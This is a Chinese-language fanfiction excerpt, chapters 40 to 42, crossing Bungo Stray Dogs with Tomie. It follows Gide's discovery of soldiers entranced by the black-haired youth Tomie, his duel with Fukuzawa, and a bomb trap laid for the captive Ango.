除了刚刚下来造成的一点响动，直至纪德出现在洞穴口，他都没有发出任何脚步声。 望着内部漆黑的洞穴，纪德没有任何担忧，径直走了进去。 深色的长袍让他悄无声息地融入了洞穴中，可人在黑暗中能看到的视力是有限的，于是纪德放慢了行走的步调。 大约走了几米，纪德的耳朵敏锐地听到了几道轻的几乎快没有的呼吸声。 他停下脚步，再次仔细聆听。终于他确认自己并没有听错，出现在他脚边的是三个人的呼吸声。 三……刚好与他失踪的三名士兵数量完全对得上。 纪德并不认为这是什么巧合，也就是说出现在这里的，毫无疑问就是他失踪的那几名士兵。 虽然意识到了这一点，但他并未轻举妄动，而是迈动脚步来到了那三个人的身边。 随着距离越近，呼吸声也渐渐清晰。直至纪德感受到自己的脚底踩到了什么东西，他才停了下来。 确认洞穴内没有其余人，纪德这才从怀中拿出手机。 担心外面随时有人进来，他仅靠着手机屏幕散发出来的微弱灯光查看着地面上的情况。 然后，纪德眉头紧蹙。 躺在地面上的是他熟悉的士兵，他们的身上甚至还穿着与其余士兵如出一辙的深色衣袍。只是此刻，他们躺倒的姿态怪异，像是被随手抛弃的人偶，歪歪扭扭。 可与几天前所看到的模样相比，面前这三个士兵眼眸无光、面容消瘦。如果不是他们的身上完好无损，纪德甚至怀疑有人对他们进行了什么酷刑。 他轻声喊着地面上三个士兵的姓名，却没有得到任何反馈，纪德转而开始怀疑他们是不是被迫服用了什么药物。 可是站在原地半分钟他也想不到是什么样的药物才会产生这样的反应，于是纪德打算先离开，再回来找人将这三名士兵搬走。 就等他准备转身离开的时候，一道脚步声从上方传来。 纪德下意识抬头，紧接着他快步走到一个隐蔽的地方躲藏起来。 黎明过去，日出将至。 随着太阳从洞穴门口的海平线上缓缓升起，洞穴内的光线逐渐明亮。 虽然达不到那种白日光线，但对于纪德来说，这已经足够了。 很快，脚步声出现在洞穴门口，遮挡了部分外面的光线。 纪德望了过去，随后睁大了眼眸。 出现在洞穴门口的赫然是不久前在监控视频中和投影上看到的黑发少年。 对方背对着光，可纪德依然能够清晰地看到对方那如奶油般细腻柔滑的皮肤和精致的面貌。 除此之外，纪德还看到了监控视频和画作上不够清晰的那颗被点缀在左眼眼尾处的细小泪痣，给对方的微笑带上了入魔的气质。 就在纪德走神的时候，他不远处刚刚站立的地方传来了微弱的声音。 “富江富江富江富江富江……” “你是如此美丽，富江……求求你再多看我几眼吧……” “我好喜欢你……我真的好喜欢你啊，富江……” 那三名原本呆滞到踩到他们又或者呼喊他们姓名的士兵此刻突然有了举动，在纪德的视野中，他们翻身开始爬行又或者如幼虫般不停蠕动前进，同时还像被上了发条的玩偶不停重复着差不多的话语。 而这一切，就只是为了接近那个黑发少年更近一点。 ——这是相当惊悚的画面。 即使是亲自站上无数战场、沐浴着鲜血、见过无数尸体的纪德也不得不承认这一点，因为那几个人完全失去了作为人该有的样子。 他的目光缓缓移动到黑发少年的身上，缓慢升起的太阳也逐渐照亮了对方的侧脸。 恍惚间，纪德发现黑发少年脸上的微笑似乎扩大了几分。 对上那张充满魔力的脸，纪德好像明白了那三名士兵……又或者说，他明白了为什么副司令资料中围绕在黑发少年身边那些人死亡的秘密。 因为黑发少年拥有这个价值——被夺取的价值。可同样的，如果他是拥有黑发少年的人，也不会容忍对方身边那些在暗处觊觎着黑发少年的家伙。 思索到这里来，纪德也清楚地明白一件事情。 他带领自己的士兵来到横滨这块地方，是希望有人能救赎他们的灵魂。可面前的黑发少年不一样，他或许能给他们不同的死亡方式，但带来的绝对不是他们所渴求的救赎。 因此…… ——这个黑发少年绝对不能被留下来。 隐藏在暗处注视着这一切的‘幽灵’如此认为。 第40章 白日, 横滨海岸公园墓地的洞穴内。 纪德默默注视着只剩下他和那三名再次失神的士兵原地不动。 他其实已经想好了要杀了黑发少年的准备，只是不知为何，身体却迟迟没有移动, 而是安静地看着——看着黑发少年对那三名士兵的所作所为。 严格来说，黑发少年并未做出什么奇怪的事情。他只是单纯地对着那三名士兵提出一些简单的要求, 只是每个要求所附带的奖励很诱人。 不，其实并不是奖励诱人, 而是给出奖励的黑发少年本身诱人。 纪德暗想。 黑发少年的奖励很简单，无非就是可以注视着赢家几分钟，或者可以与对方聊点什么。 可即便是这样，这些奖励也比任何利益更有吸引力。 于是纪德一直在注视着, 直至对方离开。 在那之后他回神，也想过现在出去直接将那名黑发少年杀掉。 只是这个想法刚冒出来，他的手机就发出了动静。 感受着怀中的震动, 和地面上再次安静的士兵，纪德暂时放弃了出去将少年杀掉的打算。 他拿出手机接通电话, 电话另一边传来的是副司令的声音。 对方语气焦急地开口： 【“司令长, 那个卧底背叛我们了！”】 纪德并不意外这个结果，在早几年这个家伙出现在欧洲被他们阴差阳错追杀、又迫于只有威逼没有利诱的情况加入的时候, 他就做好了对方会背叛的准备。 因为除了他们，没有人可以在这种渴求死亡作为救赎的环境待下去。 因此, 这个卧底的背叛在纪德的预料之中。 只是…… 纪德暗红色的眼眸微微发出亮光, 望着海岸线逐渐升高的太阳缓缓开口, “既然选择了背叛，那就该让他享受作为叛徒该有的待遇。” 可很快，他的目光下移看到了地面上的三名士兵。 “不过这件事情等我回去再说，你先安排几名士兵来到这里。”说着纪德告诉了副司令这里的地址, 并继续道，“我找到那三名失踪的士兵了。” * 几个小时后，横滨郊野山区废弃的气象观测所。 “咚。” 三声差不多的沉闷声响起，那是重物摔倒地面发出的声音。 副司令看着被司令长和那几名士兵带回的失踪士兵，陷入了深深的困惑。 他无法想象究竟是经历了什么，才会让这三名失踪的士兵转变为了消瘦且失神的状态。 于是，副司令下意识看向司令长寻求答案，“司令长，这是？” 纪德简单地回答，“富江……我记得应该是这么叫的。虽然不太能确定，但我想……” 他侧头看向自己的副司令，冷声道，“——他可能拥有某种效果未知的精神系异能力。” 之前注视着少年的时候，他并没有这么想过。 可是回过头来回想当时洞穴内黑发少年与那三个士兵发生的一切，他觉得异能力才是最好的解释。 副司令张了张嘴，像是完全没有想到居然会遇到这种事情。 但他看着地面上的那三个士兵，最终闭上了嘴没有发出声音。 “那个卧底……” 纪德刚冒出这几个字，副司令就瞬间想到了什么回神。 副司令询问，“司令长是想怎么处理这个卧底？” 纪德双眸微眯，“我记得之前我们派了不少士兵对港口Mafia进行袭击，并被活捉了不少？” “是这样的……”提到这里，副司令语气略微低沉。 纪德没有理会，而是继续道，“我想如果港口Mafia的人如果够聪明，现在也该想到我们袭击他们武器库所需要的密码就是从那个卧底身上获得的。既然这样，那就干脆用这个卧底给他们设个套好了。” “将这个据点抛弃，将另一个地方的洋房作为新的据点。鉴于那个卧底的麻烦程度……”纪德顿了顿开口，“明天我会带领几个士兵将那个卧底绑到这里，并在这一层铺满从港口Mafia那里抢来的炸弹。” 这句话的意思不言而喻，司令长准备将探查到这里的港口Mafia成员炸死。 纪德继续道，“而且再这样继续拖延下去也不是办法，后天开始对更多被护在港口Mafia名下的商店进行袭击。” “我想，只要察觉我们不是那种轻易被解决的组织。他们港口Mafia就不会再像之前那样当作小打小闹，而是会派出更加强大的异能力者来解决我们吧。” 纪德这么说着，几乎已经确定了后天的打算，他对着站在面前的副司令和不远处的士兵们开口，“后天的袭击活动如果遇到了更强大的异能力者，就发出信号枪，看到了之后，我会立即赶过去。” “是！”所有人异口同声地回答着。 副司令对于司令长的安排没有任何疑问，只是…… 副司令开口询问，“司令长，那今天？” 纪德看向副司令，又看向不远处站着的几排士兵，视线最终又落到了地面上那三个士兵那里。 副司令不知道司令长想了些什么，只是在半分钟后，才终于听到对方开口回答他的问题。 “今天的安排与你们无关，仅仅是我个人要做的任务。” 副司令还想问点什么，司令长就像是知道他在想什么，侧头用暗红色的眼眸看向他，“那个富江，必须要解决掉。” 说完，对方转身离开。 副司令官看到司令长这副态度和冰冷的语气，就明白了对方的意思——司令长准备在今天内亲自动手解决掉那位黑发少年。 想到这里，副司令抿了抿唇角。 他也不知道自己想做什么，只是…… ——作为军人，上级的命令是无法违抗。 ** 白日，横滨某处偏远的公园。 大概是因为地方实在是太偏远，以至于这里还曾经驻住在这里的法国大使馆早已搬离这里，去往了更加靠近市中心的地方。 宫水富江发现这里的还很意外，明明风景很好，却因为地理原因鲜有人来。 但现在来看，倒是便宜他了。 宫水富江看了看被绿荫布满了不少地方的小建筑，又看了看不太干净的石柱。 想了想后，他还是决定找了个尽量看起来干净的石板擦拭了一下后坐了上去。 今天又是去海岸公园墓地，又是来到这个小山上的这个偏远公园，他其实已经很累了。 不过，宫水富江心里感觉良好。 自从三天前见到那三个人，他便开始做一些自己能想到的实验。 比如，询问他们一些本应该不能告诉他人的情报。又比如，对他们提出无理的要求。 总之，经过多番测试，宫水富江发现了一点好处。 当同时有多个人物被他的体质吸引时，只要在平等条件下提出要求和奖励，他们就会更偏向在他面前表现胜负欲和赢得奖励，而非想要杀了他。 只是…… 宫水富江想了想那几个人的模样。 那三个人也因为太在乎他所提出的要求和奖励，满脑子几乎除了这些就好像想不到别的事情了，以至于连进食等基础要求都忘却得一干二净。 等宫水富江发觉时，他们已经被饿得瘦骨嶙峋到不成样子。 听起来不怎么样，但对于宫水富江来说是件好事，这样他就不用担心三个人突然暴起想要杀了他。 走神的宫水富江感觉自己的余光中似乎出现了什么熟悉身影，仔细望过去，他发现一个身穿深色衣袍、长帽遮脸的男人朝着他这里漫步走了过来。 宫水富江思索，随后立即想起来自己为什么会觉得眼熟。 因为对方这一身打扮与那三个外国流浪汉几乎如出一辙。除了对方将长帽戴了起来，身形更加高大，其余地方几乎没什么差别。 他记得之前他从那三个人的口中问到过一些信息，据说他们是从欧洲过来的、名为[MIMIC]的组织。 他们好像是一群被国家抛弃的军人，目前为了寻找救赎而出现在这里…… 宫水富江也不是没有问过更多的，只是他们都只是士兵，只需要听从上司命令行事，没有必要知道更多的事情。 他唯一能问出来的别的东西，就只剩下他们在按照上司的命令袭击港口Mafia的仓库。 虽然不知道为什么袭击仓库，但宫水富江也能明白自己近期见不到太宰先生的原因了。 是否在躲避他这件事情还有待确认，但忙碌应该是真的在忙碌。 随着身着长袍的男人越来越近，宫水富江发现自己不是该走神的时候了，而是该想想面前这个人。 是因为发现那失踪的三个人，所以面前这个人找到他了吗？ 宫水富江知道按照正常来说自己现在应该跑，可看着对方越来越近，他却反而镇定地坐在原地，然后对着面前的这个男人缓缓露出了一个微笑。 对方像是被他的举动错愕住，顿时愣在了原地。 ‘没有关系，无论是谁都一样，只要笑一笑……’ 是的，只要笑一笑，好像无论是谁都会迷恋上他，然后开始为他做很多事情。 宫水富江想。 ——当然，太宰先生除外。 宫水富江突然想到这个，再次走神。 可很快，他不再想太宰先生的事情，而是思考自己该怎么解决面前这个男人。 他站起身，就在想要故技重施像对待三天前那几个外国流浪汉一样朝对方说点什么的时候，他的身后突然伸出了一只手将他往后拉。 一时不察，使得宫水富江顿时从前方摔倒了石凳后面。 他顾不上微笑，懵逼地看向拉住他手腕的人，发现对方竟是许久之前在蛋糕店看到的、穿着伦敦侦探服的青年。 对方怒气冲冲地看着他，对他开口，“你是笨蛋吗？！看到这么危险的家伙怎么不知道逃走！” 大概是考虑到会被听到的缘故，侦探服青年说出这句话的时候，语气虽然很重，但音量却意外的小。 “我……”宫水富江想解释什么，但又不知道该怎么解释。 侦探服青年似乎也不打算从他这里听到什么理由，而是从石凳后面探出脑袋查看不远处那个穿着深色衣袍、长帽遮脸的男人，却发现对方突然消失在了原地。 意识到这点后，侦探服青年下意识低声了句，“不好……” 不知道发生了什么的宫水富江不明所以，正想询问的时候，只发现侦探服青年解开自己身上的披风，紧接着什么东西从头顶落下，盖住了他的上半身。 他抬起手将遮掩视线的东西拿了起来，才发现，原来刚刚侦探服青年将那件披风盖在了他的身上。 “接下来你就维持这个姿势别动，也不要随意说话。” 不等宫水富江想问这是做什么的时候，侦探服青年就突然神色严肃地对他开口。 宫水富江本想拒绝，因为他清楚地感受得到面前这个侦探服青年不像太宰先生那样体术厉害，所以他想着要不然他去吸引注意，然后让对方放心离开。 可是没有等他做出这样的举动，他就注意到侦探服青年突然深呼吸了一口气，紧接着—— “社长！快来救救我——！” “我遇到坏蛋了！就是那个穿着深色长袍的男人——！” 巨大的声音从身侧穿着侦探服青年的口中喊出，猝不及防的宫水富江不得不赶紧捂住自己的耳朵。 等到侦探服青年停下喊话，一阵窸窸窣窣、好似快速从草坪中穿梭而过的声音响起。 “砰。” “噌——” 等宫水富江反应过来、顺着声音望去的时候，从披风下方只能看到一个身着和服的男人出现在他与侦探服青年所躲藏的石凳前方，并从腰侧半拔出了一把武士刀。 而对方面前不远处，是之前宫水富江看到的那个流浪汉。 紧接着有什么东西先后掉落在地面上的声音出现，宫水富江低下头，发现和服男人的身侧出现了两枚疑似被砍半的子弹。 这令宫水富江回想起了之前那个黑医凭借一支手术刀解决掉好几名持枪小混混的事情。 ……果然，这个世界热武器比不上冷兵器是吧？ 宫水富江甚至有点心平气和地想。 “乱步，自己记得躲好。” “我知道的，社长！” 随着身穿和服的男人开口，身侧的侦探服青年也做出了回应。 很快，侦探服青年又对着他开口，“相信我，社长可是很厉害的！” 宫水富江听着对方话语中的自豪，忍不住悄悄抬起披风查看起了面前的情况，发现原本该站在石凳远处的身穿长袍的男人不知道什么时候已经靠得很近，那位社长与长袍男人几乎只隔着十几米的距离面面相觑。 就这样保持了十几秒后，两人突然同时冲向对方。唯一不同的是，长袍男人举起手中的枪支，而那位社长则是维持着刚刚半拔刀的姿态。 “砰砰砰。” “蹭——” 几声枪响和拔刀的声音同时响起，两人的身影在瞬间不停地靠近，然后交织。 宫水富江甚至不太能看清两人之间都做了什么，只知道他们似乎在近距离交战。 *** 纪德看着面前与他发色相似的和服男人，神情中多了几分认真。 本以为对方不会太过厉害，可他的异能力[窄门]所预知的短暂的未来却告诉了他面前这个男人的实力。 ——画面中，和服男人以极近的距离靠近后，立即使用拔刀术对准他发出攻击。而没有预料到反应不及的他顿时身受重伤，被对方制止住。 看到这些，纪德提前做出了反应。 他与和服男人同时动手，在对方试图拔刀的瞬间，他发射子弹对准面前男人的手腕。可对方的反应速度远比他预想的要快太多，和服男人似乎看穿他的意图，很快躲避了这颗子弹，转而用体术想要拿下他。 这很正常，因为使用枪支的人，大多都会被刻板印象认为不擅长近战。 可是—— 纪德再次通过预知到的、已经改变的未来，同样用武术躲避了对方简单接触他就会导致他被擒拿住的武术，与对方再次拉开距离的同时举起了手中的枪支。 虽然少见，但他会使用枪斗术。 对方也毫不逊色，使用拔刀术将躲避不掉的子弹切开。 到这里，对方似乎终于意识到了什么，对着他轻蹙了眉头。 “……你应该拥有异能力吧？在刚刚的几次对战中，你好像提前知道我要做什么般，提前躲避了我的攻击。”和服男人暂停了攻击，站在原地对他开口道。 纪德勾起唇角笑了笑，“你说得没错，预知短暂的未来，这就是我的异能力。” “只不过——” 和服男人似乎对纪德的转折产生了困惑。 好在纪德很快继续道，“虽然你很强，但你依然不是我所要寻找的、能救赎我们的人。” 对方是不是异能力者，纪德不确定。但是他知道，对方是位确确实实的强者，因为他很难在对方的武术和拔刀术下给对方有效的攻击。 可同样的，因为他能短暂预知未来的异能力[窄门]，所以对方即使这样强悍，也无法伤害到他一分一毫。 这是一场没有任何结果的战斗。 纪德做出了这个判断。 意识到这点后，他不再恋战，转身离开。 只是离开前回头望了一眼黑发少年所在的位置，然后看到了对方探出脑袋瞧着这边的模样。 “真是可惜……” 留下这样一句意义不明的话语后，他这次真的头也不回地离开了这里。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 福泽谕吉看着离开的人影默不作声, 并没有因为对方所表现出来的危险而追上去，将对方击倒。 他只是确认那个看似流浪汉的男人真的离开，才默默将武士刀收回刀鞘, 回头看向石凳后面躲着的两个人。 两个体形相似的身影从石凳探出脑袋，一个戴着侦探帽, 一个盖着侦探披风。 其实这个场景在福泽谕吉看来相当可爱，让他联想到了两只小猫咪猫猫祟祟探出脑袋观察人类的画面。 在发现自己想了什么后, 福泽谕吉不自在地轻咳了一声，掩饰自己刚刚的想法，然后走到了石凳面前。 石凳后的两个人似乎已经察觉到没有危险，也从原本的躲藏转变为站起身。 只是…… 福泽谕吉的目光不自觉落在那个披着江户川乱步侦探服披风的黑发少年身上, 可很快还是转移视线看向江户川乱步呼喊对方的名字。 “乱步，为什么你会出现在这里？” 他出现在这里是因为在路上跟踪一只流浪猫，可乱步……他记得对方现在不应该在其他社员的照看下进行跑步减肥吗？ 在他的这个问题下, 福泽谕吉肉眼可见地发现江户川乱步露出了个相当心虚的神情。发现这一点，他也不知道自己该高兴还是该不高兴。 明明是个聪明到能够一眼看穿真相的名侦探, 却在自己这方面表现得如此笨拙…… 算了, 倒也不是什么坏事。 福泽谕吉很快为自己调整了心情。 不过同样的，在他为自己调整完心情的时候, 准备询问他身边少年的事情时，那边的名侦探似乎也想好了给他转移注意力的理由。 “社长, 你是不是又准备过来喂流浪猫了？” 福泽谕吉：“……！” 他不自觉地浑身一震, 露出被戳破的震惊。 同时, 手指触碰自己没有被喂出去的任何一包小鱼干上。 “那个我、……” 福泽谕吉下意识想说点什么，辩解自己作为武装侦探社社长的形象，就听到江户川乱步继续开口道。 “社长，不远处那个草丛里又刚生完小猫的母猫。你现在过去将小鱼干放到它们附近再离开保持一段距离的话, 我想你就能看到它们吃饭的模样了。” 说着，名侦探的手伸向右侧的灌木丛中，示意刚刚话语中母猫和幼崽的所在位置。 福泽谕吉本来还想坚持一下，可是他的脑海却不自觉地浮现出母猫和其幼崽喵喵叫的画面。 沉默了三秒后，他对着面前的两人开口，“……我现在过去看看。” …… 注视着社长离开的画面，江户川乱步的心情顿时轻松了不少。 他侧头看向身侧还盖着他披风的黑发少年，犹豫了片刻，还是亲手将那条披风拿了下来。 大概是与黑发少年有过亲密接触，这条披风上已经沾染了对方浓浓的幽香。 江户川乱步只要轻轻耸动鼻尖，就能闻到那股本该属于少年身上的味道。倏地，他很想近距离仔细闻闻。可是很快，黑发少年的道谢声唤醒了他的理智。 “谢谢你还有刚刚的那位社长先生救了我……乱步先生。” 宫水富江朝着对方道谢，这是做人的基本礼貌。只是在称呼对方的时候，他犯了难，最终选择喊对方乱步先生。 好在对方并不在意，只是慢慢扫视了他一眼，随后淡淡回答，“没事，其实比起这种事情，我倒是很想询问一下你是怎么惹上那种家伙的……” 宫水富江心里下意识咯噔一下，可很快他还是稳住了自己的神情。因为他想起来，就算自己实话实说也没有任何问题。 毕竟从一开始，就不是他主动招惹他们的，而是对方非要来纠缠自己的。唯一需要规避的，就是说出那些招惹他的人后面的情况。 总而言之，宫水富江觉得自己可以选择性地说实话。 可不知道是不是幸运，乱步先生提出这样的问题后很快又像是想到了什么不再追究，“还是算了。” 这使得宫水富江松了口气，不用解释对他来说是件好事。即使说的都是真话，可对着一位名侦探，他还是会觉得有压力。 只不过这样一来，是不是说明他们之间原本欠下的人情就这样结束了？ 就在宫水富江脑海里闪现这样的想法时，乱步先生像是看穿了他的所思所想，径直回答，“不用想太多，救你并不算是偿还人情。” 宫水富江被吓得浑身一颤，就在他思考对方是不是有读心术的异能力时，对方又继续道，“刚刚那个情况无论是不是你，我都会喊社长来帮忙的。再怎么说我们也是[武装侦探社]，维护横滨的正义和秩序本来就是我们的职责，保护民众也是其中需要做的事情之一。” “我欠你的人情，你完全可以用在自己的私人问题上。只要不违背[武装侦探社]的理念，不对[武装侦探社]造成危害，我都可以帮你。” 身为名侦探的青年说出这些话语的时候，语气轻描淡写，似乎完全不觉得自己说了什么很重要的事情。 可在宫水富江看来，他有点不可思议。 虽然不知道[武装侦探社]是怎样的存在，但从面前这位名侦探和刚刚那位武术和拔刀术都相当厉害的社长先生就看得出来，他们大概并不简单。 宫水富江不禁开始回忆蛋糕店发生的事情，他记得自己似乎只是主动给对方让了个位置，而是救了对方一命……对吧？ 思考自己有没有记忆紊乱的宫水富江有些震惊，可很快，对方的一句话将他拉出了思绪。 “只是——” 宫水富江抬起头，他发现乱步先生不知何时睁开了双眸，用那双璀璨的绿眸看向他，略显凝重地开口。 “你的饲养人呢？” 宫水富江：“……？” 他默默歪了歪头，对面前名侦探的话语表现出了明显的困惑。 什么叫作他的饲养人？ * 收敛气息，将自身存在感压到最低。 就这样维持了十几分钟后，福泽谕吉终于看到一只三花猫从灌木丛中缓缓走了出来。它的警惕心很重，一边耸动着自己的鼻尖，一边用目光小心翼翼地打量周围的环境。 福泽谕吉神色凝重，表情严肃，像是在处理什么重要文件。可实际上他只是在等待，等待这只刚生育完的母猫发现他摆放在不远处的小鱼干。 终于那只三花猫因为发现食物而竖起耳朵，见状福泽谕吉的心也提了起来。 就在它低下头准备啃咬时，一道熟悉的声音从福泽谕吉的身后响起。 “社长，我回来了！” 福泽谕吉眼睁睁地看着那只三花猫因为巨大的声音受到惊吓而直接离开，留下那些小鱼干在地面上一动不动，维持着最初的模样。 而从社长身后出现的江户川乱步在看到社长低头充当蘑菇的模样，以及不远处的小鱼干后，立即明白发生了什么事情。 “抱歉，社长。我不知道那只猫居然到现在才出来……”江户川乱步发现社长并未因为他的道歉而转好，在想了想后回答，“说起来，我记得上次帮忙的那家金平糖店的老板养了一只猫，我们等一下或许可以去看看。” 果不其然这句话的话音刚落下，原本还低垂着头的社长顿时站起了身。 江户川乱步从社长那张没有任何变化的脸上看出了期待。 只是在意识到他说的那家店是什么店后，社长才后知后觉地侧头对他开口，“乱步，就算过去了，你也不能要求买任何东西。” “是——”江户川乱步拉长尾音回答，只要社长不探究他贿赂社员逃脱了减肥跑步就行。 他们快步从这个偏远的公园离开，在去往金平糖店的路上。 福泽谕吉想起了之前被江户川乱步打断而没有继续询问的话题。 “乱步，刚刚的那个人是……” 其实在看到对方的身形开始，他就觉得有点眼熟，可无论如何都想不起来自己在哪里看到过对方。 身侧的名侦探回答，“社长不记得才是最好的，就是之前社长在蛋糕店找到我的那一次啦，当时我让你停下脚步……” 顺着江户川乱步的话语，福泽谕吉想起了那一次发生的事情，“就是那个拥有精神系异能力的少年？” 可很快，他又想起了那个流浪汉一样的男人，“那个流浪汉又是……” 那明显不是什么简单的流浪汉，对方的实力和身手，总是会令他想起那些训练有素的士兵。 很显然，对方不仅仅这么简单。仿佛是为了印证他的想法，身侧的名侦探开口说话。 “社长，他可不是什么流浪汉，那分明是来自欧美的军人。” “而且不是一个，而是一群。” 一群欧美军人？！出现在横滨？！ 福泽谕吉震惊地停下脚步侧头看去，发现江户川乱步少见在没有戴上眼镜的情况下睁开了双眼，露出了那双如同祖母绿般的眼眸。 “……他们不会是有什么目的吧？” 思索了片刻，福泽谕吉开始担忧起横滨的稳定。 特别是这次还涉及到了国外……如果处理不好，可能会引发国际矛盾。 “不过社长也不用太过担心，他们本质上和我们没有什么关系。” 倏地，耳边传来了名侦探的话语。 福泽谕吉再次看去，发现江户川乱步继续行走了起来。 不明白江户川乱步意思的福泽谕吉跟上去开口询问，“什么意思？” “他不是对社长说过目的了吗？”江户川乱步绿眸闪过微光。 福泽谕吉顺着对方的话语想到了那个人离开前留下的话语，“难道说……” 江户川乱步肯定地回答，“没错，他在寻找能让他们像军人那样死在战场上的人。而且社长难道没有注意到了吗？” 福泽谕吉侧头看向江户川乱步，只听对方继续道，“——港口Mafia最近似乎因为被偷袭的事情而感到非常头疼呢。” 听到这话，福泽谕吉下意识想到了那个男人。 对方穿着白色大褂，梳着乱糟糟的造型，同时身侧站着一个金发碧眼、手拿巨大针筒的少女。 不等他多想，福泽谕吉发现身侧的名侦探发出了一声惊呼。 对方睁大双眸，像是想到了什么开口。 “啊，他的饲养人……该不会是港口Mafia的某个人吧？” 福泽谕吉没能理解这句话的含义，可他注意到江户川乱步在说完这句话后，居然难得地低着脑袋咬着大拇指指甲，表现出了不情不愿又苦恼的神色。 第42章 夜晚, 横滨郊区废弃的天象观测所。 “咚。” 身穿长袍、长帽遮脸的男人将手中被捆绑住的嘴角带痣的青年丢在地面上，无视对方因为这番粗鲁的举动而发出的呻吟。 他对着身后的几人开口，“找个椅子将他绑在这里, 然后用炸药铺满这一层。” “是！”其余穿着差不多，看起来像流浪汉的士兵开口道。 他们听从司令长的命令, 一个人寻找椅子，另外几个人开始在周围铺上炸药。 被捆绑住双手双脚、梳着大背头的青年终于开口, “没有想到这么快就被你抓住了，纪德。” 男人也就是纪德本人勾起唇角发出嗤笑，“毕竟在欧美的时候，我就知道你有多难追杀了。” “所以为了能够成功抓住你, 这次提前做好了可能的规划。” 说完，纪德凝视着面前这个青年，喊出了对方的名字, “坂口安吾。” 如果换成其他人，这个时候恐怕已经开始痛哭流涕了, 但被称为坂口安吾的男人却十分冷静。 “为什么非要抓着我不放呢？”青年反问, 言语之中完全看不出他现在面对的危机。 纪德挑了挑眉，“作为叛徒有什么资格求饶？” 然而听到他的话语, 青年却只是淡定地抬起头与纪德对视，“因为你从一开始就知道, 我加入你们只是因为我想活, 不是吗？” 见状, 纪德无声地笑了笑。 他知道，他当然知道。 面前的青年本来就是他无意中发现的，对方撞上了他们然后被他们误会追杀了几个月。 尽管后来解除了误会不再追杀，但是看中对方能力和其背后国家的纪德在当时的状态不打算放弃任何一个能救赎他们的可能性。 于是, 无所谓对方性命的纪德威逼坂口安吾加入他的组织，帮他们偷渡到日本，帮他们寻找强大异能者的所在之处。 他们之间本来就不是军人与士兵的关系，也不是什么值得相互依靠的同伴。 因此，在发现对方其实是属于港口Mafia的成员时，纪德自己本身也没有多大困扰。 毕竟，背叛对于他们来说，从一开始就存在。 就算对方最初不是，那么也会为了自身性命背叛他们。 要知道，[MIMIC]的目的就是寻找能给他们救赎的人，被迫加入[MIMIC]的坂口安吾自然也不能例外。 只是…… 既然已经加入，那就没有反悔的结果。 想到这里，纪德对着面前保持冷静的青年回答，“那你也应该清楚地知道，纵使我们已经被抛弃，可依旧是军人。无论是什么理由，逃兵的后果都是死。” “我、……” 青年似乎还想继续讲点什么，下意识前倾身体对他开口。 可纪德却不再给对方任何解释的机会，径直打断对方，“如果你继续开口，那么我不介意在你被炸死前感受无法说话的痛苦。” 果然这句话一出，青年立即安分下来，不再说话。 很快，一名同样身穿流浪汉服装的男人出现在了纪德的身边。 对方注意到被捆绑在纪德面前的青年时，多打量了两眼，却又马上移开了视线。 “司令长。” 纪德回头，发现是之前代替他对其余士兵发号施令的副司令。 他抬起下颚，示意对方说话。 副司令很快明白了对方的意思，简单回答，“就在刚刚炸药已经埋好了，明天袭击的安排也按照您的要求做了。只是……” 他顿了一下犹豫地回答，“只是港口Mafia似乎有所察觉，目前似乎已经在撤离小商贩了。” 纪德沉思了片刻，“问题不大，这么短的时间他们没有办法撤离所有人，只要往地区最大的地方攻打，就算那些接受港口Mafia保护的商贩已经安全离开，港口Mafia的面子依然保不住。” “如果不想让自己失去信誉，那么我最初预想的结果不会有太多变化。” 没错，如果港口Mafia不想丢面子，那么必定会派人来对付他们——无关商贩撤离与否。 被捆绑住的青年只是安静地低垂着头，似乎已经放弃了挣扎。 副司令听到司令长的话语，瞬间安心下来。 他松了口气，目光落在远处已经自觉站好的士兵上，然后猛然想起了之前失踪的那三个士兵。 “司令长，还有一件事情我要汇报。” 副司令的话语打断了纪德本想撤离的话语，“什么？” “就是上次那三个失神的士兵，”副司令抿了抿嘴，说出了自己带人探究的结果，“我们已经对方进行了检查，也找了医生。最终所有结果都显示……” “他们已经无法恢复最初的模样了，就连这两天能活下来，也是依靠挂吊水。” 在他们无人在意的角落，被捆绑住的青年微不可察地抬了抬头。 纪德垂眸，“果然，那个少年……” “他是我们追求正确道路上出现的错误分岔口，是我们所寻找的名为希望的伊甸园中的那条罪孽深重的蛇。” 他喃喃着什么，像是在感叹，又像是在叹息。 纪德转身，来到这层房屋的窗前，看着夜空中的隐隐散发着不祥预兆的红月，做出了决定： “必须要将宫水富江这个隐患解决了才行。” 他不能让任何事物打扰他们前进的道路。 在无人注意的角落，被捆绑的青年那双墨绿色的眼眸发出微光。 * 白日，横滨高级公寓。 此时距离宫水富江与江户川乱步见面过去了整整两天。 【“……最近市内街道上会混乱起来吧，你最好也别再继续外出了。如果遇到问题，到时候打电话给我就行。”】 对方留下这样的话语后，便径直离开，只剩下宫水富江站在原地思考了半天乱步先生口中所谓的饲养人指的究竟是什么。 最终，直至回到公寓中，他才将饲养人与太宰先生划上了等号。 不过，街道会混乱起来……吗？ 宫水富江无所事事地躺在沙发上，想着江户川乱步的话语思考。 虽然不太明白这种事情名侦探又是怎么推理出来的，但他并不觉得对方口中的混乱会是什么简单的事情。 特别是最近多出来的那个叫作什么[MIMIC]的组织，这样一想，不仅仅是太宰先生，可能连街道混乱都与他们有关。 只是，打电话应该就不必了。 宫水富江想。 乱步先生之所以会这样说，应该是担心那个同样穿着长袍、长帽遮脸的男人再次来找他。 不过只要他不出门，对方就算找过来，也只能找到这里。 到时候在这个封闭的房间，只剩下他们两个人。就算富江体质引诱不动对方，那他也可以在对方杀了他后死而复活。 思索到这里，宫水富江内心一阵轻松。 一旦找到正确的体质使用方法，过去的烦恼就像一缕青烟，吹一吹就散了。回头来看，其实并没有他想象中的那么可怕。 宫水富江将自己埋入沙发中，按照自己那简陋的计划待在屋内，等待着敌人找上门。 然而熟悉且具有安全的环境，再加上松弛的心情，使得宫水富江的睡意渐渐加深。 终于，他坚持不住陷入了梦境。 不知道过了多久，宫水富江缓缓睁开了眼睛。注视着天花板，他下意识眨了眨眼睛。 大概是刚睡醒，他的大脑依然不能清晰地运转。在发觉屋内一片昏暗后，他茫然地从沙发上坐起了身。 他睡得有这么久吗？ 意识到这点，宫水富江先是低垂着脑袋，揉了揉自己的眼睛。 然后抬起头，紧接着视野中央出现了熟悉的人影。 ……是那个伪装成流浪汉的男人吗？ 尚未彻底清醒的宫水富江下意识想到，可随着身体前倾望过去，仔细观察对方的身影，他那双黑色的双眸缓缓睁大。 因为此刻站在客厅中央的人并不是他所以为的敌人，而是许久未曾见面的太宰先生。 